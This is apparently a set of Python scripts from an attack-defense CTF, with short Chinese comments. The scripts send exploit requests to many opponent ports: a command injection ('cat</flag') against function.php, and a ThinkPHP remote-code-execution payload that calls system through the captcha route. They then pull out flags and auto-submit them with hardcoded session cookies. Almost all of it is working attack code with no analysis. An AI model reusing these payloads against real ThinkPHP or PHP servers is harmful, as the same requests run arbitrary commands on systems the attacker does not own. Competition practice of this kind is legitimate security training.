import requests import re port = [20180,20280,20380,20480,20580,20680,20780,20880,20980,21080,21180,21280,21380,21480,21580,21680,21780,21880,21980,22080,22180,22280,22380,22480] url = 'http://ip:{port}/login.php' for i in port: r = requests.get(url=url.format(port=str(i))) if r.status_code == 200: try: print(re.findall(r"(flag{.*})",r.text)[0]) except IndexError: pass
批量交flag(后来发现平台有设置csrf token。导致无法批量交。)
send_url = 'http://ip:8001/api/v1/challenges/attempt' cookie = {'Cookie': 'session=be71fde5-8749-46b2-8ac6-fb30b0ec93bb; PHPSESSID=pdq189at1p9g6478tmt8urkng2'} for flag in submit_flag: data = {"challenge_id":2,"submission":flag} requests.post(url=send_url,data=data,cookies=cookie)
最后合并为十分钟交一次
import requests import re from time import sleep whileTrue: port = [20180,20280,20380,20480,20580,20680,20780,20880,20980,21080,21180,21280,21380,21480,21580,21680,21780,21880,21980,22080,22180,22280,22380,22480] url = 'http://ip:{port}/login.php' submit_flag = [] for i in port: r = requests.get(url=url.format(port=str(i))) if r.status_code == 200: try: submit_flag.append(re.findall(r"(flag{.*})",r.text)[0]) except IndexError: pass send_url = 'http://ip:8001/api/v1/challenges/attempt' cookie = {'Cookie': 'session=be71fde5-8749-46b2-8ac6-fb30b0ec93bb; PHPSESSID=pdq189at1p9g6478tmt8urkng2'} for flag in submit_flag: data = {"challenge_id":2,"submission":flag} req = requests.post(url=send_url,data=data,cookies=cookie) if'incorrect'notin req.text: print('提交正确') sleep(600)
import requests import re port = [30180,30280,30680,30780,30980,31180,31280,31380,31480,31580,31780,31880,31980,32080,32180,32280,32380,32480,31080,30580,30380,30480,30880,31680] url = 'http://ip:{port}/common/function.php?1=&cat</flag' for i in port: r = requests.get(url=url.format(port=str(i))) try: print(re.findall(r"(flag{.*})",r.text)[0]) except IndexError: pass
import requests import re port = [10180,10280,10380,10480,10580,10680,10780,10880,10980,11080,11180,11280,11380,11480,11580,11680,11780,11880,11980,12080,12180,12280,12380,12480] url_flag = 'http://ip:{port}/public/index.php?s=captcha' data = {'_method':'__construct', 'filter[]':'system', 'method':'get','get[]':'cat /flag'} for i in port: r = requests.post(url=url_flag.format(port=str(i)),data=data) if r.status_code == 200: try: print((re.findall(r"(flag{.*})",r.text)[0])) except IndexError: pass